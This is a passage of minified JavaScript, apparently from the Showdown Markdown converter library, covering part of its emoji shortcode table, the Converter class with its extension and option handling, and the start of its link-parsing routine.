e0f",laughing:"\ud83d\ude06",leaves:"\ud83c\udf43",ledger:"\ud83d\udcd2",left_luggage:"\ud83d\udec5",left_right_arrow:"\u2194\ufe0f",leftwards_arrow_with_hook:"\u21a9\ufe0f",lemon:"\ud83c\udf4b",leo:"\u264c\ufe0f",leopard:"\ud83d\udc06",level_slider:"\ud83c\udf9a",libra:"\u264e\ufe0f",light_rail:"\ud83d\ude88",link:"\ud83d\udd17",lion:"\ud83e\udd81",lips:"\ud83d\udc44",lipstick:"\ud83d\udc84",lizard:"\ud83e\udd8e",lock:"\ud83d\udd12",lock_with_ink_pen:"\ud83d\udd0f",lollipop:"\ud83c\udf6d",loop:"\u27bf",loud_sound:"\ud83d\udd0a",loudspeaker:"\ud83d\udce2",love_hotel:"\ud83c\udfe9",love_letter:"\ud83d\udc8c",low_brightness:"\ud83d\udd05",lying_face:"\ud83e\udd25",m:"\u24c2\ufe0f",mag:"\ud83d\udd0d",mag_right:"\ud83d\udd0e",mahjong:"\ud83c\udc04\ufe0f",mailbox:"\ud83d\udceb",mailbox_closed:"\ud83d\udcea",mailbox_with_mail:"\ud83d\udcec",mailbox_with_no_mail:"\ud83d\udced",man:"\ud83d\udc68",man_artist:"\ud83d\udc68‍\ud83c\udfa8",man_astronaut:"\ud83d\udc68‍\ud83d\ude80",man_cartwheeling:"\ud83e\udd38‍\u2642\ufe0f",man_cook:"\ud83d\udc68‍\ud83c\udf73",man_dancing:"\ud83d\udd7a",man_facepalming:"\ud83e\udd26‍\u2642\ufe0f",man_factory_worker:"\ud83d\udc68‍\ud83c\udfed",man_farmer:"\ud83d\udc68‍\ud83c\udf3e",man_firefighter:"\ud83d\udc68‍\ud83d\ude92",man_health_worker:"\ud83d\udc68‍\u2695\ufe0f",man_in_tuxedo:"\ud83e\udd35",man_judge:"\ud83d\udc68‍\u2696\ufe0f",man_juggling:"\ud83e\udd39‍\u2642\ufe0f",man_mechanic:"\ud83d\udc68‍\ud83d\udd27",man_office_worker:"\ud83d\udc68‍\ud83d\udcbc",man_pilot:"\ud83d\udc68‍\u2708\ufe0f",man_playing_handball:"\ud83e\udd3e‍\u2642\ufe0f",man_playing_water_polo:"\ud83e\udd3d‍\u2642\ufe0f",man_scientist:"\ud83d\udc68‍\ud83d\udd2c",man_shrugging:"\ud83e\udd37‍\u2642\ufe0f",man_singer:"\ud83d\udc68‍\ud83c\udfa4",man_student:"\ud83d\udc68‍\ud83c\udf93",man_teacher:"\ud83d\udc68‍\ud83c\udfeb",man_technologist:"\ud83d\udc68‍\ud83d\udcbb",man_with_gua_pi_mao:"\ud83d\udc72",man_with_turban:"\ud83d\udc73",tangerine:"\ud83c\udf4a",mans_shoe:"\ud83d\udc5e",mantelpiece_clock:"\ud83d\udd70",maple_leaf:"\ud83c\udf41",martial_arts_uniform:"\ud83e\udd4b",mask:"\ud83d\ude37",massage_woman:"\ud83d\udc86",massage_man:"\ud83d\udc86‍\u2642\ufe0f",meat_on_bone:"\ud83c\udf56",medal_military:"\ud83c\udf96",medal_sports:"\ud83c\udfc5",mega:"\ud83d\udce3",melon:"\ud83c\udf48",memo:"\ud83d\udcdd",men_wrestling:"\ud83e\udd3c‍\u2642\ufe0f",menorah:"\ud83d\udd4e",mens:"\ud83d\udeb9",metal:"\ud83e\udd18",metro:"\ud83d\ude87",microphone:"\ud83c\udfa4",microscope:"\ud83d\udd2c",milk_glass:"\ud83e\udd5b",milky_way:"\ud83c\udf0c",minibus:"\ud83d\ude90",minidisc:"\ud83d\udcbd",mobile_phone_off:"\ud83d\udcf4",money_mouth_face:"\ud83e\udd11",money_with_wings:"\ud83d\udcb8",moneybag:"\ud83d\udcb0",monkey:"\ud83d\udc12",monkey_face:"\ud83d\udc35",monorail:"\ud83d\ude9d",moon:"\ud83c\udf14",mortar_board:"\ud83c\udf93",mosque:"\ud83d\udd4c",motor_boat:"\ud83d\udee5",motor_scooter:"\ud83d\udef5",motorcycle:"\ud83c\udfcd",motorway:"\ud83d\udee3",mount_fuji:"\ud83d\uddfb",mountain:"\u26f0",mountain_biking_man:"\ud83d\udeb5",mountain_biking_woman:"\ud83d\udeb5‍\u2640\ufe0f",mountain_cableway:"\ud83d\udea0",mountain_railway:"\ud83d\ude9e",mountain_snow:"\ud83c\udfd4",mouse:"\ud83d\udc2d",mouse2:"\ud83d\udc01",movie_camera:"\ud83c\udfa5",moyai:"\ud83d\uddff",mrs_claus:"\ud83e\udd36",muscle:"\ud83d\udcaa",mushroom:"\ud83c\udf44",musical_keyboard:"\ud83c\udfb9",musical_note:"\ud83c\udfb5",musical_score:"\ud83c\udfbc",mute:"\ud83d\udd07",nail_care:"\ud83d\udc85",name_badge:"\ud83d\udcdb",national_park:"\ud83c\udfde",nauseated_face:"\ud83e\udd22",necktie:"\ud83d\udc54",negative_squared_cross_mark:"\u274e",nerd_face:"\ud83e\udd13",neutral_face:"\ud83d\ude10","new":"\ud83c\udd95",new_moon:"\ud83c\udf11",new_moon_with_face:"\ud83c\udf1a",newspaper:"\ud83d\udcf0",newspaper_roll:"\ud83d\uddde",next_track_button:"\u23ed",ng:"\ud83c\udd96",no_good_man:"\ud83d\ude45‍\u2642\ufe0f",no_good_woman:"\ud83d\ude45",night_with_stars:"\ud83c\udf03",no_bell:"\ud83d\udd15",no_bicycles:"\ud83d\udeb3",no_entry:"\u26d4\ufe0f",no_entry_sign:"\ud83d\udeab",no_mobile_phones:"\ud83d\udcf5",no_mouth:"\ud83d\ude36",no_pedestrians:"\ud83d\udeb7",no_smoking:"\ud83d\udead","non-potable_water":"\ud83d\udeb1",nose:"\ud83d\udc43",notebook:"\ud83d\udcd3",notebook_with_decorative_cover:"\ud83d\udcd4",notes:"\ud83c\udfb6",nut_and_bolt:"\ud83d\udd29",o:"\u2b55\ufe0f",o2:"\ud83c\udd7e\ufe0f",ocean:"\ud83c\udf0a",octopus:"\ud83d\udc19",oden:"\ud83c\udf62",office:"\ud83c\udfe2",oil_drum:"\ud83d\udee2",ok:"\ud83c\udd97",ok_hand:"\ud83d\udc4c",ok_man:"\ud83d\ude46‍\u2642\ufe0f",ok_woman:"\ud83d\ude46",old_key:"\ud83d\udddd",older_man:"\ud83d\udc74",older_woman:"\ud83d\udc75",om:"\ud83d\udd49",on:"\ud83d\udd1b",oncoming_automobile:"\ud83d\ude98",oncoming_bus:"\ud83d\ude8d",oncoming_police_car:"\ud83d\ude94",oncoming_taxi:"\ud83d\ude96",open_file_folder:"\ud83d\udcc2",open_hands:"\ud83d\udc50",open_mouth:"\ud83d\ude2e",open_umbrella:"\u2602\ufe0f",ophiuchus:"\u26ce",orange_book:"\ud83d\udcd9",orthodox_cross:"\u2626\ufe0f",outbox_tray:"\ud83d\udce4",owl:"\ud83e\udd89",ox:"\ud83d\udc02","package":"\ud83d\udce6",page_facing_up:"\ud83d\udcc4",page_with_curl:"\ud83d\udcc3",pager:"\ud83d\udcdf",paintbrush:"\ud83d\udd8c",palm_tree:"\ud83c\udf34",pancakes:"\ud83e\udd5e",panda_face:"\ud83d\udc3c",paperclip:"\ud83d\udcce",paperclips:"\ud83d\udd87",parasol_on_ground:"\u26f1",parking:"\ud83c\udd7f\ufe0f",part_alternation_mark:"\u303d\ufe0f",partly_sunny:"\u26c5\ufe0f",passenger_ship:"\ud83d\udef3",passport_control:"\ud83d\udec2",pause_button:"\u23f8",peace_symbol:"\u262e\ufe0f",peach:"\ud83c\udf51",peanuts:"\ud83e\udd5c",pear:"\ud83c\udf50",pen:"\ud83d\udd8a",pencil2:"\u270f\ufe0f",penguin:"\ud83d\udc27",pensive:"\ud83d\ude14",performing_arts:"\ud83c\udfad",persevere:"\ud83d\ude23",person_fencing:"\ud83e\udd3a",pouting_woman:"\ud83d\ude4e",phone:"\u260e\ufe0f",pick:"\u26cf",pig:"\ud83d\udc37",pig2:"\ud83d\udc16",pig_nose:"\ud83d\udc3d",pill:"\ud83d\udc8a",pineapple:"\ud83c\udf4d",ping_pong:"\ud83c\udfd3",pisces:"\u2653\ufe0f",pizza:"\ud83c\udf55",place_of_worship:"\ud83d\uded0",plate_with_cutlery:"\ud83c\udf7d",play_or_pause_button:"\u23ef",point_down:"\ud83d\udc47",point_left:"\ud83d\udc48",point_right:"\ud83d\udc49",point_up:"\u261d\ufe0f",point_up_2:"\ud83d\udc46",police_car:"\ud83d\ude93",policewoman:"\ud83d\udc6e‍\u2640\ufe0f",poodle:"\ud83d\udc29",popcorn:"\ud83c\udf7f",post_office:"\ud83c\udfe3",postal_horn:"\ud83d\udcef",postbox:"\ud83d\udcee",potable_water:"\ud83d\udeb0",potato:"\ud83e\udd54",pouch:"\ud83d\udc5d",poultry_leg:"\ud83c\udf57",pound:"\ud83d\udcb7",rage:"\ud83d\ude21",pouting_cat:"\ud83d\ude3e",pouting_man:"\ud83d\ude4e‍\u2642\ufe0f",pray:"\ud83d\ude4f",prayer_beads:"\ud83d\udcff",pregnant_woman:"\ud83e\udd30",previous_track_button:"\u23ee",prince:"\ud83e\udd34",princess:"\ud83d\udc78",printer:"\ud83d\udda8",purple_heart:"\ud83d\udc9c",purse:"\ud83d\udc5b",pushpin:"\ud83d\udccc",put_litter_in_its_place:"\ud83d\udeae",question:"\u2753",rabbit:"\ud83d\udc30",rabbit2:"\ud83d\udc07",racehorse:"\ud83d\udc0e",racing_car:"\ud83c\udfce",radio:"\ud83d\udcfb",radio_button:"\ud83d\udd18",radioactive:"\u2622\ufe0f",railway_car:"\ud83d\ude83",railway_track:"\ud83d\udee4",rainbow:"\ud83c\udf08",rainbow_flag:"\ud83c\udff3\ufe0f‍\ud83c\udf08",raised_back_of_hand:"\ud83e\udd1a",raised_hand_with_fingers_splayed:"\ud83d\udd90",raised_hands:"\ud83d\ude4c",raising_hand_woman:"\ud83d\ude4b",raising_hand_man:"\ud83d\ude4b‍\u2642\ufe0f",ram:"\ud83d\udc0f",ramen:"\ud83c\udf5c",rat:"\ud83d\udc00",record_button:"\u23fa",recycle:"\u267b\ufe0f",red_circle:"\ud83d\udd34",registered:"\xae\ufe0f",relaxed:"\u263a\ufe0f",relieved:"\ud83d\ude0c",reminder_ribbon:"\ud83c\udf97",repeat:"\ud83d\udd01",repeat_one:"\ud83d\udd02",rescue_worker_helmet:"\u26d1",restroom:"\ud83d\udebb",revolving_hearts:"\ud83d\udc9e",rewind:"\u23ea",rhinoceros:"\ud83e\udd8f",ribbon:"\ud83c\udf80",rice:"\ud83c\udf5a",rice_ball:"\ud83c\udf59",rice_cracker:"\ud83c\udf58",rice_scene:"\ud83c\udf91",right_anger_bubble:"\ud83d\uddef",ring:"\ud83d\udc8d",robot:"\ud83e\udd16",rocket:"\ud83d\ude80",rofl:"\ud83e\udd23",roll_eyes:"\ud83d\ude44",roller_coaster:"\ud83c\udfa2",rooster:"\ud83d\udc13",rose:"\ud83c\udf39",rosette:"\ud83c\udff5",rotating_light:"\ud83d\udea8",round_pushpin:"\ud83d\udccd",rowing_man:"\ud83d\udea3",rowing_woman:"\ud83d\udea3‍\u2640\ufe0f",rugby_football:"\ud83c\udfc9",running_man:"\ud83c\udfc3",running_shirt_with_sash:"\ud83c\udfbd",running_woman:"\ud83c\udfc3‍\u2640\ufe0f",sa:"\ud83c\ude02\ufe0f",sagittarius:"\u2650\ufe0f",sake:"\ud83c\udf76",sandal:"\ud83d\udc61",santa:"\ud83c\udf85",satellite:"\ud83d\udce1",saxophone:"\ud83c\udfb7",school:"\ud83c\udfeb",school_satchel:"\ud83c\udf92",scissors:"\u2702\ufe0f",scorpion:"\ud83e\udd82",scorpius:"\u264f\ufe0f",scream:"\ud83d\ude31",scream_cat:"\ud83d\ude40",scroll:"\ud83d\udcdc",seat:"\ud83d\udcba",secret:"\u3299\ufe0f",see_no_evil:"\ud83d\ude48",seedling:"\ud83c\udf31",selfie:"\ud83e\udd33",shallow_pan_of_food:"\ud83e\udd58",shamrock:"\u2618\ufe0f",shark:"\ud83e\udd88",shaved_ice:"\ud83c\udf67",sheep:"\ud83d\udc11",shell:"\ud83d\udc1a",shield:"\ud83d\udee1",shinto_shrine:"\u26e9",ship:"\ud83d\udea2",shirt:"\ud83d\udc55",shopping:"\ud83d\udecd",shopping_cart:"\ud83d\uded2",shower:"\ud83d\udebf",shrimp:"\ud83e\udd90",signal_strength:"\ud83d\udcf6",six_pointed_star:"\ud83d\udd2f",ski:"\ud83c\udfbf",skier:"\u26f7",skull:"\ud83d\udc80",skull_and_crossbones:"\u2620\ufe0f",sleeping:"\ud83d\ude34",sleeping_bed:"\ud83d\udecc",sleepy:"\ud83d\ude2a",slightly_frowning_face:"\ud83d\ude41",slightly_smiling_face:"\ud83d\ude42",slot_machine:"\ud83c\udfb0",small_airplane:"\ud83d\udee9",small_blue_diamond:"\ud83d\udd39",small_orange_diamond:"\ud83d\udd38",small_red_triangle:"\ud83d\udd3a",small_red_triangle_down:"\ud83d\udd3b",smile:"\ud83d\ude04",smile_cat:"\ud83d\ude38",smiley:"\ud83d\ude03",smiley_cat:"\ud83d\ude3a",smiling_imp:"\ud83d\ude08",smirk:"\ud83d\ude0f",smirk_cat:"\ud83d\ude3c",smoking:"\ud83d\udeac",snail:"\ud83d\udc0c",snake:"\ud83d\udc0d",sneezing_face:"\ud83e\udd27",snowboarder:"\ud83c\udfc2",snowflake:"\u2744\ufe0f",snowman:"\u26c4\ufe0f",snowman_with_snow:"\u2603\ufe0f",sob:"\ud83d\ude2d",soccer:"\u26bd\ufe0f",soon:"\ud83d\udd1c",sos:"\ud83c\udd98",sound:"\ud83d\udd09",space_invader:"\ud83d\udc7e",spades:"\u2660\ufe0f",spaghetti:"\ud83c\udf5d",sparkle:"\u2747\ufe0f",sparkler:"\ud83c\udf87",sparkles:"\u2728",sparkling_heart:"\ud83d\udc96",speak_no_evil:"\ud83d\ude4a",speaker:"\ud83d\udd08",speaking_head:"\ud83d\udde3",speech_balloon:"\ud83d\udcac",speedboat:"\ud83d\udea4",spider:"\ud83d\udd77",spider_web:"\ud83d\udd78",spiral_calendar:"\ud83d\uddd3",spiral_notepad:"\ud83d\uddd2",spoon:"\ud83e\udd44",squid:"\ud83e\udd91",stadium:"\ud83c\udfdf",star:"\u2b50\ufe0f",star2:"\ud83c\udf1f",star_and_crescent:"\u262a\ufe0f",star_of_david:"\u2721\ufe0f",stars:"\ud83c\udf20",station:"\ud83d\ude89",statue_of_liberty:"\ud83d\uddfd",steam_locomotive:"\ud83d\ude82",stew:"\ud83c\udf72",stop_button:"\u23f9",stop_sign:"\ud83d\uded1",stopwatch:"\u23f1",straight_ruler:"\ud83d\udccf",strawberry:"\ud83c\udf53",stuck_out_tongue:"\ud83d\ude1b",stuck_out_tongue_closed_eyes:"\ud83d\ude1d",stuck_out_tongue_winking_eye:"\ud83d\ude1c",studio_microphone:"\ud83c\udf99",stuffed_flatbread:"\ud83e\udd59",sun_behind_large_cloud:"\ud83c\udf25",sun_behind_rain_cloud:"\ud83c\udf26",sun_behind_small_cloud:"\ud83c\udf24",sun_with_face:"\ud83c\udf1e",sunflower:"\ud83c\udf3b",sunglasses:"\ud83d\ude0e",sunny:"\u2600\ufe0f",sunrise:"\ud83c\udf05",sunrise_over_mountains:"\ud83c\udf04",surfing_man:"\ud83c\udfc4",surfing_woman:"\ud83c\udfc4‍\u2640\ufe0f",sushi:"\ud83c\udf63",suspension_railway:"\ud83d\ude9f",sweat:"\ud83d\ude13",sweat_drops:"\ud83d\udca6",sweat_smile:"\ud83d\ude05",sweet_potato:"\ud83c\udf60",swimming_man:"\ud83c\udfca",swimming_woman:"\ud83c\udfca‍\u2640\ufe0f",symbols:"\ud83d\udd23",synagogue:"\ud83d\udd4d",syringe:"\ud83d\udc89",taco:"\ud83c\udf2e",tada:"\ud83c\udf89",tanabata_tree:"\ud83c\udf8b",taurus:"\u2649\ufe0f",taxi:"\ud83d\ude95",tea:"\ud83c\udf75",telephone_receiver:"\ud83d\udcde",telescope:"\ud83d\udd2d",tennis:"\ud83c\udfbe",tent:"\u26fa\ufe0f",thermometer:"\ud83c\udf21",thinking:"\ud83e\udd14",thought_balloon:"\ud83d\udcad",ticket:"\ud83c\udfab",tickets:"\ud83c\udf9f",tiger:"\ud83d\udc2f",tiger2:"\ud83d\udc05",timer_clock:"\u23f2",tipping_hand_man:"\ud83d\udc81‍\u2642\ufe0f",tired_face:"\ud83d\ude2b",tm:"\u2122\ufe0f",toilet:"\ud83d\udebd",tokyo_tower:"\ud83d\uddfc",tomato:"\ud83c\udf45",tongue:"\ud83d\udc45",top:"\ud83d\udd1d",tophat:"\ud83c\udfa9",tornado:"\ud83c\udf2a",trackball:"\ud83d\uddb2",tractor:"\ud83d\ude9c",traffic_light:"\ud83d\udea5",train:"\ud83d\ude8b",train2:"\ud83d\ude86",tram:"\ud83d\ude8a",triangular_flag_on_post:"\ud83d\udea9",triangular_ruler:"\ud83d\udcd0",trident:"\ud83d\udd31",triumph:"\ud83d\ude24",trolleybus:"\ud83d\ude8e",trophy:"\ud83c\udfc6",tropical_drink:"\ud83c\udf79",tropical_fish:"\ud83d\udc20",truck:"\ud83d\ude9a",trumpet:"\ud83c\udfba",tulip:"\ud83c\udf37",tumbler_glass:"\ud83e\udd43",turkey:"\ud83e\udd83",turtle:"\ud83d\udc22",tv:"\ud83d\udcfa",twisted_rightwards_arrows:"\ud83d\udd00",two_hearts:"\ud83d\udc95",two_men_holding_hands:"\ud83d\udc6c",two_women_holding_hands:"\ud83d\udc6d",u5272:"\ud83c\ude39",u5408:"\ud83c\ude34",u55b6:"\ud83c\ude3a",u6307:"\ud83c\ude2f\ufe0f",u6708:"\ud83c\ude37\ufe0f",u6709:"\ud83c\ude36",u6e80:"\ud83c\ude35",u7121:"\ud83c\ude1a\ufe0f",u7533:"\ud83c\ude38",u7981:"\ud83c\ude32",u7a7a:"\ud83c\ude33",umbrella:"\u2614\ufe0f",unamused:"\ud83d\ude12",underage:"\ud83d\udd1e",unicorn:"\ud83e\udd84",unlock:"\ud83d\udd13",up:"\ud83c\udd99",upside_down_face:"\ud83d\ude43",v:"\u270c\ufe0f",vertical_traffic_light:"\ud83d\udea6",vhs:"\ud83d\udcfc",vibration_mode:"\ud83d\udcf3",video_camera:"\ud83d\udcf9",video_game:"\ud83c\udfae",violin:"\ud83c\udfbb",virgo:"\u264d\ufe0f",volcano:"\ud83c\udf0b",volleyball:"\ud83c\udfd0",vs:"\ud83c\udd9a",vulcan_salute:"\ud83d\udd96",walking_man:"\ud83d\udeb6",walking_woman:"\ud83d\udeb6‍\u2640\ufe0f",waning_crescent_moon:"\ud83c\udf18",waning_gibbous_moon:"\ud83c\udf16",warning:"\u26a0\ufe0f",wastebasket:"\ud83d\uddd1",watch:"\u231a\ufe0f",water_buffalo:"\ud83d\udc03",watermelon:"\ud83c\udf49",wave:"\ud83d\udc4b",wavy_dash:"\u3030\ufe0f",waxing_crescent_moon:"\ud83c\udf12",wc:"\ud83d\udebe",weary:"\ud83d\ude29",wedding:"\ud83d\udc92",weight_lifting_man:"\ud83c\udfcb\ufe0f",weight_lifting_woman:"\ud83c\udfcb\ufe0f‍\u2640\ufe0f",whale:"\ud83d\udc33",whale2:"\ud83d\udc0b",wheel_of_dharma:"\u2638\ufe0f",wheelchair:"\u267f\ufe0f",white_check_mark:"\u2705",white_circle:"\u26aa\ufe0f",white_flag:"\ud83c\udff3\ufe0f",white_flower:"\ud83d\udcae",white_large_square:"\u2b1c\ufe0f",white_medium_small_square:"\u25fd\ufe0f",white_medium_square:"\u25fb\ufe0f",white_small_square:"\u25ab\ufe0f",white_square_button:"\ud83d\udd33",wilted_flower:"\ud83e\udd40",wind_chime:"\ud83c\udf90",wind_face:"\ud83c\udf2c",wine_glass:"\ud83c\udf77",wink:"\ud83d\ude09",wolf:"\ud83d\udc3a",woman:"\ud83d\udc69",woman_artist:"\ud83d\udc69‍\ud83c\udfa8",woman_astronaut:"\ud83d\udc69‍\ud83d\ude80",woman_cartwheeling:"\ud83e\udd38‍\u2640\ufe0f",woman_cook:"\ud83d\udc69‍\ud83c\udf73",woman_facepalming:"\ud83e\udd26‍\u2640\ufe0f",woman_factory_worker:"\ud83d\udc69‍\ud83c\udfed",woman_farmer:"\ud83d\udc69‍\ud83c\udf3e",woman_firefighter:"\ud83d\udc69‍\ud83d\ude92",woman_health_worker:"\ud83d\udc69‍\u2695\ufe0f",woman_judge:"\ud83d\udc69‍\u2696\ufe0f",woman_juggling:"\ud83e\udd39‍\u2640\ufe0f",woman_mechanic:"\ud83d\udc69‍\ud83d\udd27",woman_office_worker:"\ud83d\udc69‍\ud83d\udcbc",woman_pilot:"\ud83d\udc69‍\u2708\ufe0f",woman_playing_handball:"\ud83e\udd3e‍\u2640\ufe0f",woman_playing_water_polo:"\ud83e\udd3d‍\u2640\ufe0f",woman_scientist:"\ud83d\udc69‍\ud83d\udd2c",woman_shrugging:"\ud83e\udd37‍\u2640\ufe0f",woman_singer:"\ud83d\udc69‍\ud83c\udfa4",woman_student:"\ud83d\udc69‍\ud83c\udf93",woman_teacher:"\ud83d\udc69‍\ud83c\udfeb",woman_technologist:"\ud83d\udc69‍\ud83d\udcbb",woman_with_turban:"\ud83d\udc73‍\u2640\ufe0f",womans_clothes:"\ud83d\udc5a",womans_hat:"\ud83d\udc52",women_wrestling:"\ud83e\udd3c‍\u2640\ufe0f",womens:"\ud83d\udeba",world_map:"\ud83d\uddfa",worried:"\ud83d\ude1f",wrench:"\ud83d\udd27",writing_hand:"\u270d\ufe0f",x:"\u274c",yellow_heart:"\ud83d\udc9b",yen:"\ud83d\udcb4",yin_yang:"\u262f\ufe0f",yum:"\ud83d\ude0b",zap:"\u26a1\ufe0f",zipper_mouth_face:"\ud83e\udd10",zzz:"\ud83d\udca4",octocat:'<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',showdown:"<span style=\"font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;\">S</span>"},_.Converter=function(n){var a={},i=[],s=[],l={},r=x,o={parsed:{},raw:"",format:""};function c(e,t){if(t=t||null,_.helper.isString(e)){if(t=e=_.helper.stdExtName(e),_.extensions[e])return void function o(e,t){"function"==typeof e&&(e=e(new _.Converter));_.helper.isArray(e)||(e=[e]);var n=N(e,t);if(!n.valid)throw Error(n.error);for(var r=0;r<e.length;++r)switch(e[r].type){case"lang":i.push(e[r]);break;case"output":s.push(e[r]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(_.extensions[e],e);if(_.helper.isUndefined(S[e]))throw Error('Extension "'+e+'" could not be loaded. It was either not found or is not a valid extension.');e=S[e]}"function"==typeof e&&(e=e()),_.helper.isArray(e)||(e=[e]);var n=N(e,t);if(!n.valid)throw Error(n.error);for(var r=0;r<e.length;++r){switch(e[r].type){case"lang":i.push(e[r]);break;case"output":s.push(e[r])}if(e[r].hasOwnProperty("listeners"))for(var a in e[r].listeners)e[r].listeners.hasOwnProperty(a)&&d(a,e[r].listeners[a])}}function d(e,t){if(!_.helper.isString(e))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+St(e)+" given");if("function"!=typeof t)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+St(t)+" given");l.hasOwnProperty(e)||(l[e]=[]),l[e].push(t)}!function f(){for(var e in n=n||{},k)k.hasOwnProperty(e)&&(a[e]=k[e]);{if("object"!==St(n))throw Error("Converter expects the passed parameter to be an object, but "+St(n)+" was passed instead.");for(var t in n)n.hasOwnProperty(t)&&(a[t]=n[t])}a.extensions&&_.helper.forEach(a.extensions,c)}(),this._dispatch=function(e,t,n,r){if(l.hasOwnProperty(e))for(var a=0;a<l[e].length;++a){var o=l[e][a](e,t,this,n,r);o&&void 0!==o&&(t=o)}return t},this.listen=function(e,t){return d(e,t),this},this.makeHtml=function(t){if(!t)return t;var n={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:i,outputModifiers:s,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return t=(t=(t=(t=(t=t.replace(/\xa8/g,"\xa8T")).replace(/\$/g,"\xa8D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g," "),a.smartIndentationFix&&(t=function r(e){var t=e.match(/^\s*/)[0].length,n=new RegExp("^\\s{0,"+t+"}","gm");return e.replace(n,"")}(t)),t="\n\n"+t+"\n\n",t=(t=_.subParser("detab")(t,a,n)).replace(/^[ \t]+$/gm,""),_.helper.forEach(i,function(e){t=_.subParser("runExtension")(e,t,a,n)}),t=_.subParser("metadata")(t,a,n),t=_.subParser("hashPreCodeTags")(t,a,n),t=_.subParser("githubCodeBlocks")(t,a,n),t=_.subParser("hashHTMLBlocks")(t,a,n),t=_.subParser("hashCodeTags")(t,a,n),t=_.subParser("stripLinkDefinitions")(t,a,n),t=_.subParser("blockGamut")(t,a,n),t=_.subParser("unhashHTMLSpans")(t,a,n),t=(t=(t=_.subParser("unescapeSpecialChars")(t,a,n)).replace(/\xa8D/g,"$$")).replace(/\xa8T/g,"\xa8"),t=_.subParser("completeHTMLDocument")(t,a,n),_.helper.forEach(s,function(e){t=_.subParser("runExtension")(e,t,a,n)}),o=n.metadata,t},this.makeMarkdown=this.makeMd=function(e,t){if(e=(e=(e=e.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">\xa8NBSP;<"),!t){if(!window||!window.document)throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");t=window.document}var n=t.createElement("div");n.innerHTML=e;var r={preList:function c(e){for(var t=e.querySelectorAll("pre"),n=[],r=0;r<t.length;++r)if(1===t[r].childElementCount&&"code"===t[r].firstChild.tagName.toLowerCase()){var a=t[r].firstChild.innerHTML.trim(),o=t[r].firstChild.getAttribute("data-language")||"";if(""===o)for(var i=t[r].firstChild.className.split(" "),s=0;s<i.length;++s){var l=i[s].match(/^language-(.+)$/);if(null!==l){o=l[1];break}}a=_.helper.unescapeHTMLEntities(a),n.push(a),t[r].outerHTML='<precode language="'+o+'" precodenum="'+r.toString()+'"></precode>'}else n.push(t[r].innerHTML),t[r].innerHTML="",t[r].setAttribute("prenum",r.toString());return n}(n)};!function s(e){for(var t=0;t<e.childNodes.length;++t){var n=e.childNodes[t];3===n.nodeType?/\S/.test(n.nodeValue)?(n.nodeValue=n.nodeValue.split("\n").join(" "),n.nodeValue=n.nodeValue.replace(/(\s)+/g,"$1")):(e.removeChild(n),--t):1===n.nodeType&&s(n)}}(n);for(var a=n.childNodes,o="",i=0;i<a.length;i++)o+=_.subParser("makeMarkdown.node")(a[i],r);return o},this.setOption=function(e,t){a[e]=t},this.getOption=function(e){return a[e]},this.getOptions=function(){return a},this.addExtension=function(e,t){c(e,t=t||null)},this.useExtension=function(e){c(e)},this.setFlavor=function(e){if(!R.hasOwnProperty(e))throw Error(e+" flavor was not found");var t=R[e];for(var n in r=e,t)t.hasOwnProperty(n)&&(a[n]=t[n])},this.getFlavor=function(){return r},this.removeExtension=function(e){_.helper.isArray(e)||(e=[e]);for(var t=0;t<e.length;++t){for(var n=e[t],r=0;r<i.length;++r)i[r]===n&&i[r].splice(r,1);for(;0<s.length;++r)s[0]===n&&s[0].splice(r,1)}},this.getAllExtensions=function(){return{language:i,output:s}},this.getMetadata=function(e){return e?o.raw:o.parsed},this.getMetadataFormat=function(){return o.format},this._setMetadataPair=function(e,t){o.parsed[e]=t},this._setMetadataFormat=function(e){o.format=e},this._setMetadataRaw=function(e){o.raw=e}},_.subParser("anchors",function(e,l,c){var d=function d(e,t,n,r,a,o,i){if(_.helper.isUndefined(i)&&(i=""),n=n.toLowerCase(),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))r="";else if(!r){if(n||(n=t.toLowerCase().replace(/ ?\n/g," ")),r="#"+n,_.helper.isUndefined(c.gUrls[n]))return e;r=c.gUrls[n],_.helper.isUndefined(c.gTitles[n])||(i=c.gTitles[n])}var s='<a href="'+(r=r.replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback))+'"';return""!==i&&null!==i&&(s+=' title="'+(i=(i=i.replace(/"/g,""")).replace(_.helper.regexes.asteriskDashAndColon,_.helper.escapeCharactersCallback))+'"'),l.openLinksInNewWindow&&!/^#/.test(r)&&(s+=' rel="noopener noreferrer" target="\xa8E95Eblank"'),s+=">"+t+"</a>"};return e=(e=(e=(e=(e=c.converter._dispatch("anchors.before",e,l,c)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,d)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,d)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,d)).replace(/\[([^\[\]]+)]()()()()()/g,d),l.ghMentions&&(e=e.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gim,function(e,t,n,r,a){if("\\"===n)return t+r;if(!_.helper.isString(l.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var o=l.ghMentionsLink.replace(/\{u}/g,a),i="";return l.openLinksInNewWindow&&(i=' rel="noopener noreferrer" target="\xa8E95Eblank"'),t+'<a href="'+o+'"'+i+">"+r+"</a>"})),e=c.converter._dispatch("anchors.after",e,l,c)});var 